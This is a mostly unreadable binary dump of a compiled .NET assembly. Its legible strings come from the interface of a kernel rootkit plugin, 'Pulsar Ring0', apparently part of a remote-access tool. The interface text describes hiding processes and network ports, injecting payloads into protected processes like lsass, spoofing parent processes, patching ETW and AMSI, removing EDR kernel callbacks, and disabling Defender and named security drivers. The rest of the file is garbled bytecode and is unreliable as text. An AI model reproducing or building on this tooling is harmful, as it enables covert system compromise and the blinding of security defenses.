r‡
pr
po!

(

,'t!
o

o 

o-
r‡
pr
po!


Þ]Þ&Þo"

r™
po#

�
o$

o-
(

,$o"

r™
po#

�
o$

o-

ÞÞ&Þr
p**
(�NÏ
)T}
%%
0à/sí
oî
!oï
oî
oð
ioñ
  �P
þ
þ
 cœþ
  �œþ
  €œþ
  ‚œþ
  §œþ
 
wœþ
 
 ›œþ
 
cœþ
 
yœþ
 iœþ
  §œþ
  ¥œþ
  Œœþ
  ®œþ
 vœþ
 Sœþ
 Oœþ
 tœþ
 œþ
 œþ
  †œþ
  òœþ
 <œþ
  ¦œþ
 sœþ
  Êœþ
  ¤œþ
 @œþ
  –œþ
  ¨œþ
  –œþ
  §œþ
 Mœþ
 3œþ
 Pœþ
  øœþ
 [œþ
 vœþ
  £œþ
 Vœþ
 Yœþ
  ”œþ
 	 ˜œþ
 	oœþ
 	 œœþ
 	cœþ
 	 ¡œþ
 
}œþ
 
lœþ
 
 ªœþ
 
 ‹œþ
 wœþ
  Óœþ
 zœþ
 yœþ
 7œþ
  ¤œþ
  ¬œþ
 œþ
 
iœþ
 
 ’œþ
 
oœþ
 \œþ
 {œþ
  ‚œþ
 œþ
  Àœþ
 pœþ
 Dœþ
  ªœþ
   œþ
 Xœþ
 zœþ
  ˆœþ
 {œþ
  žœþ
 Zœþ
  ƒœþ
 Aœþ
  úœþ
  …œþ
 |œþ
 ^œþ
  Èœþ
 fœþ
 jœþ
  Òœþ
  Îœþ
 "œþ
  —œþ
  ˆœþ
 œþ
 Xœþ
 sœþ
 yœþ
  ¡œþ
 kœþ
 -œþ
 mœþ
 xœþ
  ­œþ
 ^œþ
 œþ
 .œþ
 @œþ
  ¾œþ
  œœþ
 &œþ
  Æœþ
  ‚œþ
 !œþ
  „œþ
 kœþ
  âœþ
 {œþ
 pœþ
  õœþ
 xœþ
 jœþ
 Lœþ
  ¨œþ
  Æœþ
 Sœþ
  �œþ
 Pœþ
  ƒœþ
 }œþ
 Zœþ
  ¸œþ
  ¦œþ
  Œœþ
 ~œþ
 qœþ
 xœþ
 lœþ
 }œþ
 œþ
 �P
þþ cœþ  �œþ  €œþ  ¦œþ  •œþ  Éœþ 
wœþ 
 Œœþ 
 ‹œþ 
iœþ 
 §œþ 
 Ïœþ  ”œþ  ˜œþ fœþ cœþ dœþ  Éœþ nœþ  Œœþ œþ  Öœþ <œþ  Ýœþ œþ œþ  ¦œþ cœþ Vœþ  –œþ  ½œþ wœþ Zœþ Yœþ  ñœþ  „œþ yœþ  ­œþ ~œþ vœþ  £œþ Vœþ  ¡œþ 	pœþ 	 ˜œþ 	oœþ 	 œœþ 	œþ 
 €œþ 
 †œþ 
hœþ 
 €œþ 
jœþ 
œþ oœþ  ¢œþ zœþ yœþ Gœþ  ™œþ  ¸œþ jœþ œþ 
 €œþ 
\œþ 
{œþ 
 ‚œþ 
 ‚œþ 
 òœþ uœþ Dœþ  ªœþ  àœþ Xœþ zœþ  ˆœþ  ¨œþ  žœþ lœþ~ o&

('

,P€«s­(®€¦Þ,oK
Ü*AËÓ0?
0~¦Ž-8s(

€£s)

€©Ð(ã
(*

oä
rpoì
(«~«K/3~ s+

o,

o


oä
(-

,s.

z~«X€«~¢

(ê
~¦(/

~©o0

/~©o1

3+j�P
~¦X(ç
(2

Žio3

~£o4

~©o5

~£o6

Y(B
~¦(ç

Þ!&Þ~£o7


Þ,(õ
Ür
p*	*
¶f

„©-

0À
1Ž-�P
*Ži]
Ži[Ži�P
{¤Ži[
1X8o
	]	Z
	Z{¤X‘b{¤X‘b`{¤X‘b`{¤‘`Y@’>‹ ÿ+ 1bŽiXY‘`X2ÛX(¯Xa
+*1bX
X
__dÒœX2Ñ8„
X‘bX‘b`X‘b`‘`X(¯Xa
 ÿ_Òœ
X ÿ_dÒœ
X ÿ_dÒœ
X ÿ_dÒœX?‰þÿÿ*082
ba
 ÙÖÖÄX
ba
 ‰yŠX
da
 !�w]X
 _Y
*0"r_p(½
&(8


(2

Žio3

*0
3*0q4(2

o­

 �P
%з(â
(2

o­
(•s

(Ÿ
	o;

	o<

%	o=

s>

%Žio?

o@

o%

(Æ
*ÐWÎÊï¾
‘lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP5|‡å$rootkitwindow.baml!æVMSBAML```
ÿÿÿÿ 
BgDark 
BgPanel BgButton 
BgButtonHover 
	BgTextBox BorderBrush 
FgText AccentPurple SuccessGreen 	ErrorRed 

WarningYellow 
	DangerRed 
DarkButton 
AccentButton DangerButton DarkTextBox DarkComboBoxItem ComboBoxToggleButton DarkComboBox DarkGroupBox DarkTabControl DarkTabItem\XPresentationFramework, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35W
SPresentationCore, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35RNWindowsBase, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35eaSystem.Windows.Controls.Ribbon, Version=9.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089^ZWindowsFormsIntegration, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35RNSystem.Xaml, Version=9.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089UQPulsar.Plugin.Ring0.Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null.(Pulsar.Plugin.Ring0.Server.RootkitWindowH9http://schemas.microsoft.com/winfx/2006/xaml/presentation
:
x,http://schemas.microsoft.com/winfx/2006/xaml
ýTitle
ýWindowStartupLocationý
ResizeModeÿ	Resources$
Ring0 Control™ý$
Çÿ1000¤þ$	Ñÿ900¤þ$	Ìÿ750¤þ$	Ëÿ900¤þ$
CenterScreen=ÿèÿè#1E1E1Eàÿè#DCDCDC$	CanResize=ÿ
-
'System.Windows.Input.KeyboardNavigation¾ýColor”ý
TargetTypeÔýPropertyÔýValue”ÿ
TargetType	ÎÿCornerRadius
ÎÿPadding”ÿTriggersPýProperty
PýValue”ýBasedOn”ýTriggersÿColumnDefinitionsÎÿNameFþNameÔý
TargetNameÈÿ	ClickModedý	IsCheckedìÿPathìÿModeìÿRelativeSourceJýIsHitTestVisible¤ÿSelectionBoxItem¤ÿSelectionBoxItemTemplate¤ÿIsDropDownOpenþAllowsTransparencyJýSnapsToDevicePixelsÿActualWidth ¤ÿMaxDropDownHeight!KþIsItemsHost"
DirectionalNavigation#]þ
Conditions$žÿProperty%žÿValueôý%†
&	&	
&	&&	9&	L&	_&	r&	…&	˜&		«&	
¾&	Ñ&	ä7777&	
7&	7&	¡7777&	C&	(&	¤77&	`	77'¦þç	7&	6
7&	m
7777777¾ý$
#1E1E1E©ÿ¾ý$
#2D2D30©ÿ¾ý$
#3C3C41©ÿ¾ý$
#505055©ÿ¾ý$
#252526©ÿ¾ý$
#434346©ÿ¾ý$
#DCDCDC©ÿ¾ý$
#9370DB©ÿ¾ý$
#57A64A©ÿ¾ý$
#CF6679©ÿ¾ý$
#DCA032©ÿ¾ý$
#D32F2F©ÿ”ý"Éÿ.ÿÔý‰èÿ8Ôý‰àÿ8
Ôý‰çÿ8Ôý‰æÿ$
1qýÔý‰Ýÿ$
15,8qýÔý‰Ïÿ$
3qýÔý‰äÿ$13(ÿÔý‰@ÿCursor$
Hand‹ÿÔý‰Ûÿ”ÿ"Éÿ.RÿÎÿ#üÿzèÿ#ûÿzçÿ#úÿzæÿ$	
3‘ÿ#
zÝÿ._ÿšÿ$ÐÿCenter=ÿ$ÈÿCenter=ÿPý‰@JýIsMouseOver$

TrueÒÿ.ÿÔý8‰èÿPý‰{ÿ$
FalseÒÿ.ÿÔý‰@JýOpacity$	0.5Qÿ”ý"Éÿ8.ÿÔý‰èÿè#5D4A7AÔý‰çÿè#9370DBPý‰@JýIsMouseOver$

TrueÒÿ.ÿÔý‰èÿè#7D6A9A”ý"Éÿ8.ÿÔý‰èÿè#5D1A1AÔý‰çÿè#8B2525Pý‰@JýIsMouseOver$

TrueÒÿ.ÿÔý‰èÿè#7D2A2A”ý"�ý.ÿÔý‰èÿ8Ôý‰àÿ8
Ôý‰çÿ8Ôý‰æÿ$
1qýÔý‰Ýÿ$	8,6qýÔý‰äÿ$13(ÿÔý‰@€ý
CaretBrush8”ý"£ÿ.ÿÔý‰èÿè#252526Ôý‰àÿè#DCDCDCÔý‰Ýÿ$	8,6qýPý‰@JýIsMouseOver$

TrueÒÿ.ÿÔý‰èÿè#3E3E42Pý‰@Šþ
IsSelected$

TrueÒÿ.ÿÔý‰èÿè#9370DB”ÿ"dý.Rÿÿ¦ÿ¦ÿ$óÿ20ÿ.+ÿÎÿ$Border™ý$Âÿ
2Åþüÿè#252526ûÿè#434346$úÿ
1qý$	
3‘ÿÎÿ$Ãÿ
0Åþüÿè#252526ûÿè#434346$
úÿ0,0,1,0qý$
	3,0,0,3‘ÿ$Ïÿ
1qýFþ$Arrow™ý$Ãÿ
1Åþœÿè#DCDCDC$ÐÿCenter=ÿ$ÈÿCenter=ÿ"©ÿêðÑ	=	=Ñz	Pý‰@JýIsMouseOver$

TrueÒÿ.ÿÔý$Border™ý‰üÿè#3E3E42”ý"¤ÿ.ÿÔý‰èÿè#252526Ôý‰àÿè#DCDCDCÔý‰çÿè#434346Ôý‰æÿ$
1qýÔý‰Ýÿ$	8,6qýÔý‰äÿ$13(ÿÔý‰³ÿ8Ôý‰Ûÿ”ÿ"¤ÿ.Rÿÿ.+ÿdý$ÊÿToggleButton™ý8Ûÿ
$|ÿFalseÒÿ$Press=ÿìÿ$IsDropDownOpenþ$TwoWay=ÿüý*TemplatedParent+šÿ$ÊÿContentSite™ý$FalseÒÿ#íÿz#ëÿz#êÿz°ÿ$Ïÿ	10,3,30,3qý$ÈÿCenter=ÿ$
ÐÿLeft=ÿþ$ÊÿPopup™ý$¤ÿBottom=ÿ#¥ÿz$
TrueÒÿ$|ÿFalseÒÿ$£ÿSlide=ÿ.¦ÿÿ$ÊÿDropDown™ý$
TrueÒÿ#Ëÿz#Îÿz .+ÿÎÿ$DropDownBorder™ýüÿè#252526$úÿ
1qýûÿè#434346$	
3‘ÿÚý$
Ïÿ4,6,4,6qý$
TrueÒÿ.òÿ§ý$
!TrueÒÿ$"	Contained=ÿ”ý"øþ.ÿÔý‰çÿ8Ôý‰æÿ$
1qýÔý‰àÿ8
Ôý‰Ïÿ$
5qýÔý‰Ýÿ$10qýÔý‰äÿ$13(ÿ”ý"¦þ.ÿÔý‰àÿ8Ôý‰äÿ$13(ÿÔý‰Èÿ$Center=ÿ”ý"‘ý.ÿÔý‰èÿ
è
ÿÿÿÔý‰çÿ8”ý"�ý.ÿÔý‰èÿ8Ôý‰àÿ8
Ôý‰çÿ8Ôý‰Ýÿ$20,10qýÔý‰äÿ$14(ÿÔý‰áÿ$SemiBold"ÿÔý‰Ûÿ”ÿ"�ý.RÿÎÿ$Border™ý8üÿ8ûÿ$
úÿ1,1,1,0qý$
Ïÿ2,0,2,0qý#
zÝÿ$
	5,5,0,0‘ÿ._ÿšÿ$ìÿHeader™ý$ÐÿCenter=ÿPý‰@�ý
IsSelected$

TrueÒÿ.ÿÔý$Border™ý8‰üÿ]þ#žÿ$‰@JýIsMouseOver$
%TrueÒÿžÿ$‰@�ý
IsSelected$%FalseÒÿ./ÿÔý$Border™ý8‰üÿ.òÿÿ&ÿRowDefinitions$Ïÿ15qý&ãý$
¢ÿAutoÿãý$¢ÿ
*ÿãý$	¢ÿ180ÿ.+ÿÎÿ$Áÿ
0Åþ#üÿ[
#ûÿ[$úÿ
1qý$	
5‘ÿ$
20,15qý$Ïÿ0,0,0,10qý._ÿÿ¦ÿ$óÿ
*ÿ¦ÿ$óÿ
*ÿ¦ÿ$
óÿAutoÿ&ãý$
¢ÿAutoÿãý$
¢ÿAutoÿãý$
¢ÿAutoÿ.+ÿ‚ý'‚ýName-
$'
lblConnStatus™ý$Ãÿ
0Åþ$Áÿ
0Åþ$’ÿâ—‹ Rootkit Not Connected™ý$—ÿ16(ÿ$
”ÿBold"ÿ#“ÿ[	‚ý-$'lblDriverStatus™ý$Ãÿ
0Åþ$Áÿ
1Åþ$’ÿDriver: Not Loaded™ý$—ÿ13(ÿ$
Ïÿ0,5,0,0qý‚ý-$'lblBuildStatus™ý$Ãÿ
0Åþ$Áÿ
2Åþ$’ÿBuild: Unknown™ý$—ÿ13(ÿ$
Ïÿ0,5,0,0qý‚ý-$'lblDseStatus™ý$Ãÿ
1Åþ$Áÿ
0Åþ$’ÿDSE: Unknown™ý$—ÿ14(ÿ‚ý-$'lblSecureBootStatus™ý$Ãÿ
1Åþ$Áÿ
1Åþ$’ÿSecure Boot: Unknown™ý$—ÿ13(ÿ$
Ïÿ0,5,0,0qý‚ý-$'lblCompatStatus™ý$Ãÿ
1Åþ$Áÿ
2Åþ$’ÿCompatibility: Unknown™ý$—ÿ13(ÿ$
Ïÿ0,5,0,0qýÉÿ(ÉÿName-$(btnCompatCheck™ý$Ãÿ
2Åþ$Àÿ
3Åþ$òÿCheck
Compatibility™ý#Éÿ[$	Çÿ100¤þ$Ñÿ60¤þ$ÈÿCenter=ÿ$Ïÿ10,0,0,0qý‘ý$Áÿ
1Åþ#Éÿ[
èÿè
ÿÿÿ$æÿ
0qý.@ÿ�ý$
½ÿMain™ý#Éÿ[.òÿÚý$
�ÿAuto=ÿ.òÿ§ý$Ïÿ
5qý.+ÿÿ$Ïÿ0,10,0,0qý¦ÿ$óÿ
*ÿ¦ÿ$óÿ
*ÿ.+ÿøþ$Ãÿ
0Åþ$½ÿProcess Operations™ý#Éÿ[$
Ïÿ0,0,5,0qý.òÿ§ý.+ÿÿ$Ïÿ0,0,0,10qý¦ÿ$óÿ60ÿ¦ÿ$óÿ
*ÿ.+ÿ¦þ$
òÿPID:™ý�ý)�ýName-$)txtPid™ý$Ãÿ
1Åþ#Éÿ[$	Çÿ180¤þ$
ÐÿLeft=ÿý.+ÿÉÿ-	$(btnHideProcess™ý$òÿHide Process™ý#Éÿ[$	Çÿ200¤þÉÿ-
$(btnElevateProcess™ý$òÿElevate to SYSTEM™ý#Éÿ[$	Çÿ200¤þý$
Ïÿ0,5,0,0qý.+ÿÉÿ-$(btnUnprotectAll™ý$òÿUnprotect All Processes™ý#Éÿ[$	Çÿ200¤þøþ$Ãÿ
1Åþ$½ÿProcess Protection™ý#Éÿ[$
Ïÿ5,0,0,0qý.òÿÿ&ãý$
¢ÿAutoÿãý$
¢ÿAutoÿãý$
¢ÿAutoÿ¦ÿ$óÿ70ÿ¦ÿ$óÿ
*ÿ¦ÿ$
óÿAutoÿ.+ÿ¦þ$
òÿPID:™ý$Áÿ
0Åþ�ý-$)
txtProtPid™ý$Áÿ
0Åþ$Ãÿ
1Åþ#Éÿ[$Ïÿ0,0,10,5qý¦þ$òÿType:™ý$Áÿ
1Åþ¤ÿ*¤ÿName+×ý
SelectedIndex-
$*cboProtType™ý$Áÿ
1Åþ$Ãÿ
1Åþ#Éÿ[$Ïÿ0,0,10,5qý$+
0Åþ.@ÿ£ÿ$òÿ
None (Remove)™ýàÿè#DCDCDC£ÿ$òÿProtected Light™ýàÿè#DCDCDC£ÿ$òÿ	Protected™ýàÿè#DCDCDC¦þ$
òÿSigner:™ý$Áÿ
2Åþ¤ÿ-$*
cboProtSigner™ý$Áÿ
2Åþ$Ãÿ
1Åþ#Éÿ[$Ïÿ0,0,10,0qý$+
0Åþ.@ÿ£ÿ$
òÿNone™ýàÿè#DCDCDC£ÿ$òÿAuthenticode™ýàÿè#DCDCDC£ÿ$
òÿCodeGen™ýàÿè#DCDCDC£ÿ$òÿAntimalware™ýàÿè#DCDCDC£ÿ$	òÿLsa™ýàÿè#DCDCDC£ÿ$
òÿWindows™ýàÿè#DCDCDC£ÿ$òÿWinTcb™ýàÿè#DCDCDC£ÿ$òÿ	WinSystem™ýàÿè#DCDCDC£ÿ$	òÿApp™ýàÿè#DCDCDCÉÿ-$(btnSetProtection™ý$Ãÿ
2Åþ$Àÿ
3Åþ$òÿSet Protection™ý#Éÿ[$	Çÿ120¤þøþ$½ÿFile Operations™ý#Éÿ[.òÿ§ý.+ÿÿ$Ïÿ0,0,0,10qý¦ÿ$óÿ80ÿ¦ÿ$óÿ
*ÿ¦ÿ$	óÿ100ÿ¦ÿ$óÿ80ÿ.+ÿ¦þ$òÿ
File Path:™ý�ý-$)txtFilename™ý$Ãÿ
1Åþ#Éÿ[$Ïÿ0,0,10,0qý¦þ$òÿAllowed PID:™ý$Ãÿ
2Åþ�ý-$)
txtAllowedPid™ý$Ãÿ
3Åþ#Éÿ[ý$ÐÿCenter=ÿ.+ÿÉÿ-$(btnRestrictFile™ý$òÿRestrict File Access™ý#Éÿ[$	Çÿ180¤þÉÿ-$(btnBypassIntegrity™ý$òÿBypass Integrity Check™ý#Éÿ[$	Çÿ180¤þÉÿ-$(btnProtectAV™ý$òÿProtect File Against AV™ý#Éÿ[$	Çÿ180¤þøþ$!½ÿInvisible Process Execution™ý#Éÿ[.òÿ§ý.+ÿ‚ý$\’ÿVRun processes invisible to Task Manager, Process Explorer, and other monitoring tools.™ý“ÿè#888$Ïÿ0,0,0,10qý$
�ÿWrap=ÿÿ$Ïÿ0,0,0,10qý¦ÿ$	óÿ100ÿ¦ÿ$óÿ
*ÿ¦ÿ$
óÿAutoÿ&ãý$
¢ÿAutoÿãý$
¢ÿAutoÿãý$
¢ÿAutoÿãý$
¢ÿAutoÿ.+ÿ¦þ$òÿ
Payload Type:™ý$Áÿ
0Åþ¤ÿ,ÿToolTip-$*cboHiddenPayloadType™ý$Áÿ
0Åþ$Ãÿ
1Åþ$Âÿ
2Åþ#Éÿ[$+
0Åþ$
Ïÿ0,0,0,5qý$+,%Select the type of payload to execute™ý.@ÿ£ÿ$òÿExecutable (.exe)™ýàÿè#DCDCDC£ÿ$òÿBatch Script (.bat)™ýàÿè#DCDCDC£ÿ$òÿPowerShell (.ps1)™ýàÿè#DCDCDC£ÿ$òÿ
DLL Injection™ýàÿè#DCDCDC£ÿ$òÿ	Shellcode™ýàÿè#DCDCDC¦þ$òÿPayload:™ý$Áÿ
1Åþ�ý-$)
txtHiddenPath™ý$Áÿ
1Åþ$Ãÿ
1Åþ#Éÿ[$
Ïÿ0,0,5,5qý$N,HFull path to the payload file on client, or browse to upload from server™ýÉÿ-$(btnBrowsePayload™ý$òÿ	Browse...™ý$Áÿ
1Åþ$Ãÿ
2Åþ#Éÿ[$=,7Select a file from YOUR machine to upload to the client™ý$
Ýÿ10,6qý¦þ$òÿ
Arguments:™ý$Áÿ
2Åþ�ý-$)
txtHiddenArgs™ý$Áÿ
2Åþ$Ãÿ
1Åþ$Âÿ
2Åþ#Éÿ[$
Ïÿ0,0,0,5qý$',!Command line arguments (optional)™ý¦þ$òÿFake Parent:™ý$Áÿ
3Åþ¤ÿ-$*cboHiddenParent™ý$Áÿ
3Åþ$Ãÿ
1Åþ$Âÿ
2Åþ#Éÿ[$+
0Åþ$-,'Spoof parent process to avoid detection™ý.@ÿ£ÿ$òÿNone (no spoofing)™ýàÿè#DCDCDC£ÿ$òÿexplorer.exe™ýàÿè#DCDCDC£ÿ$òÿsvchost.exe™ýàÿè#DCDCDC£ÿ$òÿservices.exe™ýàÿè#DCDCDC£ÿ$òÿ	lsass.exe™ýàÿè#DCDCDCý$ÐÿCenter=ÿ.+ÿÉÿ-$(btnRunHidden™ý$òÿâ–¶ Run Hidden™ý#Éÿ[
$	Çÿ140¤þ$:,4Launch the payload as a completely invisible process™ýÉÿ-$(
btnListHidden™ý$òÿ📋 List Hidden™ý#Éÿ[$	Çÿ140¤þ$),#List all currently hidden processes™ýÉÿ-$(
btnKillHidden™ý$òÿ✕ Kill Hidden™ý#Éÿ[$	Çÿ140¤þ$',!Terminate a hidden process by PID™ýøþ$)½ÿ#PPL Injection (Protected Processes)™ý#Éÿ[.òÿ§ý.+ÿ‚ý$W’ÿQInject code into Protected Process Light (PPL) processes like lsass, csrss, smss.™ý“ÿè#888$Ïÿ0,0,0,10qý$
�ÿWrap=ÿÿ$Ïÿ0,0,0,10qý¦ÿ$	óÿ100ÿ¦ÿ$óÿ
*ÿ&ãý$
¢ÿAutoÿãý$
¢ÿAutoÿãý$
¢ÿAutoÿ.+ÿ¦þ$
òÿTarget:™ý$Áÿ
0Åþ¤ÿ-¤ÿ
IsEditable-$*cboPplTarget™ý$Áÿ
0Åþ$Ãÿ
1Åþ#Éÿ[$+
0Åþ$
Ïÿ0,0,0,5qý$
-TrueÒÿ$G,ASelect a protected process from presets or type a custom PID/name™ý.@ÿ£ÿ$òÿ	csrss.exe™ýàÿè#DCDCDC£ÿ$òÿ	lsass.exe™ýàÿè#DCDCDC£ÿ$òÿsmss.exe™ýàÿè#DCDCDC£ÿ$òÿservices.exe™ýàÿè#DCDCDC£ÿ$òÿwininit.exe™ýàÿè#DCDCDC£ÿ$òÿsvchost.exe™ýàÿè#DCDCDC¦þ$òÿPayload:™ý$Áÿ
1Åþ¤ÿ-$*
cboPplPayload™ý$Áÿ
1Åþ$Ãÿ
1Åþ#Éÿ[$+
0Åþ$
Ïÿ0,0,0,5qý$,Type of payload to inject™ý.@ÿ£ÿ$òÿ
EXE (Execute)™ýàÿè#DCDCDC£ÿ$òÿBAT (Batch Script)™ýàÿè#DCDCDC£ÿ$òÿPS1 (PowerShell)™ýàÿè#DCDCDC£ÿ$òÿDLL (LoadLibrary)™ýàÿè#DCDCDC£ÿ$òÿ	Shellcode™ýàÿè#DCDCDC¦þ$òÿPayload:™ý$Áÿ
2Åþÿ$Áÿ
2Åþ$Ãÿ
1Åþ¦ÿ$óÿ
*ÿ¦ÿ$
óÿAutoÿ.+ÿ�ý-$)
txtPplDllPath™ý#Éÿ[$=,7Path to payload file (EXE, BAT, PS1, DLL, or shellcode)™ýÉÿ- $(btnBrowsePpl™ý$òÿ	Browse...™ý#Éÿ[$Ãÿ
1Åþ$Çÿ80¤þ$
Ïÿ5,0,0,0qý$0,*Browse and select payload file from server™ýý$ÐÿCenter=ÿ.+ÿÉÿ-!$(btnInjectPpl™ý$òÿ💉 Inject into PPL™ý#Éÿ[$	Çÿ180¤þ$c,]Unprotect the PPL and inject the payload. The process protection is removed during injection.™ýøþ$½ÿDriver Operations™ý#Éÿ[.òÿ§ý.+ÿý$ÐÿCenter=ÿ.+ÿÉÿ-"$
òÿConnect™ý#Éÿ[$	Çÿ140¤þÉÿ-#$òÿInstall Rootkit™ý#Éÿ[$	Çÿ140¤þÉÿ-$$òÿ	Uninstall™ý#Éÿ[$	Çÿ140¤þÉÿ-%$òÿRefresh Status™ý#Éÿ[$	Çÿ140¤þý$ÐÿCenter=ÿ$
Ïÿ0,5,0,0qý.+ÿÉÿ-&$(
btnSwapDriver™ý$òÿSwap MS Driver™ý#Éÿ[$	Çÿ160¤þ�ý$½ÿAV/EDR™ý#Éÿ[.òÿÚý$
�ÿAuto=ÿ.òÿ§ý$Ïÿ
5qý.+ÿøþ$½ÿTelemetry & Monitoring™ý#Éÿ[.òÿ§ý.+ÿ‚ý$L’ÿFDisable Windows telemetry and security monitoring at the kernel level.™ý“ÿè#888$Ïÿ0,0,0,10qý$
�ÿWrap=ÿý$ÐÿCenter=ÿ.+ÿÉÿ-'$(
btnKillETW™ý$òÿKill ETW (Telemetry)™ý#Éÿ[$	Çÿ200¤þ$a,[Patches ntoskrnl!EtwWrite to disable Event Tracing for Windows. Blinds security monitoring.™ýÉÿ-($(btnKillAMSI™ý$òÿ	Kill AMSI™ý#Éÿ[$	Çÿ200¤þ$K,EPatches amsi.dll!AmsiScanBuffer to bypass Antimalware Scan Interface.™ýý$ÐÿCenter=ÿ$
Ïÿ0,5,0,0qý.+ÿ‚ý-)$'lblETWStatus™ý$’ÿETW: Active™ý#“ÿ[
$ÈÿCenter=ÿ$
Ïÿ20,0qý‚ý-*$'
lblAMSIStatus™ý$’ÿAMSI: Active™ý#“ÿ[
$ÈÿCenter=ÿ$
Ïÿ20,0qýøþ$½ÿEDR/AV Callback Removal™ý#Éÿ[.òÿ§ý.+ÿ‚ý$S’ÿMRemove kernel callbacks used by security products to monitor system activity.™ý“ÿè#888$Ïÿ0,0,0,10qý$
�ÿWrap=ÿý$ÐÿCenter=ÿ.+ÿÉÿ-+$(btnKillProcessCallbacks™ý$òÿRemove Process Callbacks™ý#Éÿ[$	Çÿ220¤þ$e,_Removes PsSetCreateProcessNotifyRoutine callbacks - stops EDR from monitoring process creation.™ýÉÿ-,$(btnKillThreadCallbacks™ý$òÿRemove Thread Callbacks™ý#Éÿ[$	Çÿ220¤þ$c,]Removes PsSetCreateThreadNotifyRoutine callbacks - stops EDR from monitoring thread creation.™ýý$ÐÿCenter=ÿ$
Ïÿ0,5,0,0qý.+ÿÉÿ--$(btnKillImageCallbacks™ý$òÿRemove Image Callbacks™ý#Éÿ[$	Çÿ220¤þ$c,]Removes PsSetLoadImageNotifyRoutine callbacks - stops EDR from monitoring DLL/driver loading.™ýÉÿ-.$(btnKillRegistryCallbacks™ý$òÿRemove Registry Callbacks™ý#Éÿ[$	Çÿ220¤þ$M,GRemoves CmRegisterCallback - stops EDR from monitoring registry access.™ýý$ÐÿCenter=ÿ$Ïÿ0,10,0,0qý.+ÿÉÿ-/$(btnKillAllCallbacks™ý$ òÿ☠ KILL ALL CALLBACKS ☠™ý#Éÿ[$	Çÿ300¤þ$
áÿBold"ÿ$Q,KRemoves ALL kernel callbacks at once. This will blind most EDR/AV products.™ýøþ$½ÿSecurity Product Removal™ý#Éÿ[.òÿ§ý.+ÿ‚ý$F’ÿ@Permanently disable or remove security products from the system.™ý“ÿè#888$Ïÿ0,0,0,10qý$
�ÿWrap=ÿý$ÐÿCenter=ÿ.+ÿÉÿ-0$(btnDisableDefender™ý$òÿKill Windows Defender™ý#Éÿ[$	Çÿ200¤þ$`,ZPermanently disables Windows Defender: kills processes, stops services, modifies registry.™ýÉÿ-1$(btnUnloadEDRDriver™ý$òÿUnload EDR Driver™ý#Éÿ[$	Çÿ200¤þ$>,8Force unload a security driver. Enter driver name below.™ýÿ$Ïÿ0,10,0,0qý¦ÿ$	óÿ120ÿ¦ÿ$óÿ
*ÿ¦ÿ$
óÿAutoÿ.+ÿ¦þ$òÿDriver Name:™ý�ý-2$)txtEDRDriverName™ý$Ãÿ
1Åþ#Éÿ[$ŽÿWdFilter™ý$P,JEnter the driver name to unload (e.g., WdFilter, csagent, SentinelMonitor)™ýÉÿ-3$òÿUnload™ý$Ãÿ
2Åþ#Éÿ[$	Çÿ100¤þ$Ïÿ10,0,0,0qý‚ý$n’ÿhCommon EDR drivers: WdFilter (Defender), csagent (CrowdStrike), SentinelMonitor (S1), cyoptics (Cylance)™ý“ÿè#666$—ÿ11(ÿ$
Ïÿ0,5,0,0qý$
�ÿWrap=ÿøþ$½ÿSSDT Operations™ý#Éÿ[.òÿ§ý.+ÿ‚ý$]’ÿWRestore original System Service Descriptor Table entries modified by security products.™ý“ÿè#888$Ïÿ0,0,0,10qý$
�ÿWrap=ÿý$ÐÿCenter=ÿ.+ÿÉÿ-4$(
btnUnhookSSDT™ý$òÿUnhook SSDT™ý#Éÿ[$	Çÿ200¤þ$J,DRestores original SSDT entries by reading from ntoskrnl.exe on disk.™ýÉÿ-5$(btnListSSDTHooks™ý$òÿList SSDT Hooks™ý#Éÿ[$	Çÿ200¤þ$A,;Scans SSDT for hooked entries and displays them in the log.™ý�ý$½ÿ
Networking™ý#Éÿ[.òÿÚý$
�ÿAuto=ÿ.òÿ§ý$Ïÿ
5qý.+ÿøþ$½ÿConnection Stealth™ý#Éÿ[.òÿ§ý.+ÿ‚ý$N’ÿHHide network connections from netstat, Task Manager, and security tools.™ý“ÿè#888$Ïÿ0,0,0,10qý$
�ÿWrap=ÿÿ$Ïÿ0,0,0,10qý¦ÿ$	óÿ100ÿ¦ÿ$	óÿ150ÿ¦ÿ$óÿ80ÿ¦ÿ$	óÿ100ÿ¦ÿ$óÿ
*ÿ.+ÿ¦þ$òÿLocal Port:™ý�ý-6$)txtHidePort™ý$Ãÿ
1Åþ#Éÿ[$&, Port number to hide (e.g., 4782)™ý¦þ$òÿ	Protocol:™ý$Ãÿ
2Åþ¤ÿ-7$*cboProtocol™ý$Ãÿ
3Åþ#Éÿ[.@ÿ£ÿ.Šþ
IsSelected$	òÿTCP™ý$
.TrueÒÿàÿè#DCDCDC£ÿ$	òÿUDP™ýàÿè#DCDCDC£ÿ$
òÿBoth™ýàÿè#DCDCDCý$ÐÿCenter=ÿ.+ÿÉÿ-8$(btnHidePort™ý$òÿ	Hide Port™ý#Éÿ[$	Çÿ160¤þ$Œ
,„
Hide TCP/UDP port from netstat, Task Manager, Resource Monitor, and Get-NetTCPConnection. Port won't appear in any network listings.™ýÉÿ-9$(
btnUnhidePort™ý$òÿUnhide Port™ý#Éÿ[$	Çÿ160¤þ$U,ORemove port hiding - makes the port visible in netstat and network tools again.™ýÉÿ-:$(btnListHiddenPorts™ý$òÿList Hidden™ý#Éÿ[$	Çÿ120¤þ$&, Show all currently hidden ports.™ýý$ÐÿCenter=ÿ$